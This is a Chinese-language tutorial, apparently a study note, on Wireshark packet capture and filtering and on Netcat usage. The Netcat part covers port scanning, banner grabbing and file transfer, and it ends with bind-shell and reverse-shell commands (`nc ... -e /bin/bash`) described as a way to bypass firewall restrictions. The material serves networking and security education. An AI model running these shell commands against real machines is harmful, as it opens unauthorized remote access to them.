Wireshark、Netcat

Wireshark

Wireshark是一个网络数据包分析软件，功能是截取网络数据包，并尽可能显示出最为详细的网络数据包数据。为了安全考虑，wireshark只能查看封包，而不能修改封包的内容，或者发送封包。

界面

抓包获取

点击捕获->设置，设置混杂模式，选中需要监听的接口，点击“开始”，开始捕获数据：

过滤

捕捉过滤器是数据经过的第一层过滤器，它用于控制捕捉数据的数量，以避免产生过大的日志文件。捕捉过滤器必须在开始捕捉前设置完毕
显示过滤器是一种更为强大（复杂）的过滤器。可以在日志文件中迅速准确地找到所需要的记录，、但是不会把数据删除。如果想恢复原状，只要把过滤条件删除即可

点击捕获->捕获过滤器，进行捕获设置（可以自己添加删除）。常用过滤包括IP过滤（如：ip.addr == x.x.x.x，ip.src == x.x.x.x,ip.dst == x.x.x.x）、协议过滤（如：HTTP、HTTPS、SMTP、ARP等）、端口过滤（如：tcp.port == 21、udp.port == 53）、组合过滤（如：ip.addr == x.x.x.x && tcp.port == 21、tcp.port== 21 or udp.port==53）。

显示过滤器在如下所示位置：

着色规则

在数据包列表区域会看到不同的颜色。wireshark可以让你指定条件，把符合条件的数据包按指定的颜色显示。

点击视图->着色规则，弹出设置颜色规则设置对话框：

封包详细信息

各行信息分别为

Frame：物理层的数据帧概况
Ethernet II：数据链路层以太网帧头部信息
Internet Protocol Version 4：互联网层IP包头部信息
Transmission Control Protocol：传输层T的数据段头部信息
Hypertext Transfer Protocol:应用层的信息

ip统计

点击统计->对话，就可以统计出所在数据包中所有通信IP地址，包括IPV4和IPV6。

协议统计

点击统计->协议分级，就可以统计出所在数据包中所含的IP协议、应用层协议：

Follow TCP Stream

对于TCP协议，可提取一次会话的TCP流进行分析。点击某帧TCP数据，右键选择追踪流->TCP流：

可以看到这个窗口中的文字会有两种颜色。其中红色用于表示从源地址到目标地址的流量。最开始的红色部分是一个GET请求。蓝色部分是和红色部分相反的方向，也就是从目标地址到源地址的流量。蓝色部分的第一行是“HTTP/1.1 200 OK”，是来自服务器的一个http成功响应。

在这个窗口中除了能够看到这些原始数据，还可以在文本间进行搜索，将其保存成一个文件、打印，或者以ASCII码、EBCDIC、十六进制或者C数组的格式去查看。

HTTP头部分析

对于HTTP协议，WireShark可以提取其URL地址信息。

点击统计->HTTP->分组计数器，就可以统计出HTTP会话中请求、应答包数量：

点击统计->HTTP->请求，就可以统计出HTTP会话中Request的域名，包括子域名：

点击统计->HTTP->负载分配，就可以统计出HTTP会话的IP、域名分布情况，包括返回值：

这只是Wireshark最基础的功能，用WireShark分析攻击行为才是重中之重，后期将进行深入学习，详见WireShark教程 - 黑客发现之旅。

Netcat

netcat是网络工具中的瑞士军刀，它能通过TCP和UDP在网络中读写数据。netcat所做的就是在两台电脑之间建立链接并返回两个数据流。

端口扫描

打印21到25所有开放的端口:

可以运行在TCP或者UDP模式，默认是TCP，-u参数调整为udp.

-z: 告诉netcat使用0 IO,连接成功后立即关闭连接，不进行数据交换

-v: 详细输出

-n: 不使用DNS解析

小Tips：一般如果后面是跟ip的话，就带上-n参数；跟着是域名的话，就不带-n参数。

一旦发现开放的端口，可以使用netcat 连接服务抓取他们的banner：

banner是一个文本，banner是一个连接的服务发送回来的文本信息。当试图鉴别漏洞或者服务的类型和版本的时候，banner信息是非常有用的。但并不是所有的服务都会发送 banner。

聊天服务

服务器：

nc -l -p 20000  

-l：指明netcat处于监听模式，

-p：指定源端口号

客户机：

nc -n 10.43.42.5 20000

netcat在服务器的20000端口启动了一个tcp服务器，所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

文件传输

FTP，SCP，SMB都可以传输文件，但是只是需要临时或者一次传输文件，不值得安装配置一个软件到机器上。现有机器A 192.168.199.139，机器B 192.168.199.161，A向B传输文件：

服务器(A)：

$nc -l -p 20000 < 1.txt

客户机(B)：

$nc -n 192.168.199.139 > 1.txt

在A上创建了一个服务器并且重定向netcat的输入为文件1.txt，当任何成功连接到该端口，netcat会发送1.txt的文件内容。

同样也可以让A作为客户端，B作为服务器。

Server B：

nc -l -p 20000 > 1.txt

Client A：

nc -n 192.168.199.161 20000 ＜ 1.txt

目录传输

如果想要发送多个文件或者整个目录，只需要使用压缩工具tar，压缩后发送压缩包。

服务器：

tar -cvf - ./test/ | nc -l -p 20000    创建一个tar归档包并且通过-在控制台重定向它

客户机：

nc -n 192.168.199.139 20000 | tar -xvf -

正向shell

现要在A机器上打开B机器的shell，应把A当成Client，把B当成Server，在B上监听输入的连接，等A连入后就可操作B的shell：

服务器：

nc -l -p 20000 -e /bin/bash 表示当连接成功时执行/bin/bash

客户机：

nc -n 192.168.199.161 20000

反向shell

使用正向shell时，如果防火墙屏蔽了输入，只允许输出，那么这时候就是反向shell发挥作用的时候了。

反向shell的做法是把A当成netcat的Server，把B当成netcat的Client，然后在A上用-l参数监听netcat的链接。

服务器：

nc -l -p 20000

客户机：

nc -n 192.168.199.139 20000 -e /bin/bash

然后在A上执行shell命令，就可以相当于B的远程shell了：

反向shell经常被用来绕过防火墙的限制，如阻止入站连接。例如有一个专用IP地址为192.168.199.139，使用代理服务器连接到外部网络。如果想从网络外部访问这台机器shell，那么就会用反向外壳用于这一目的。

更多详见：Linux Netcat 命令——网络工具中的瑞士军刀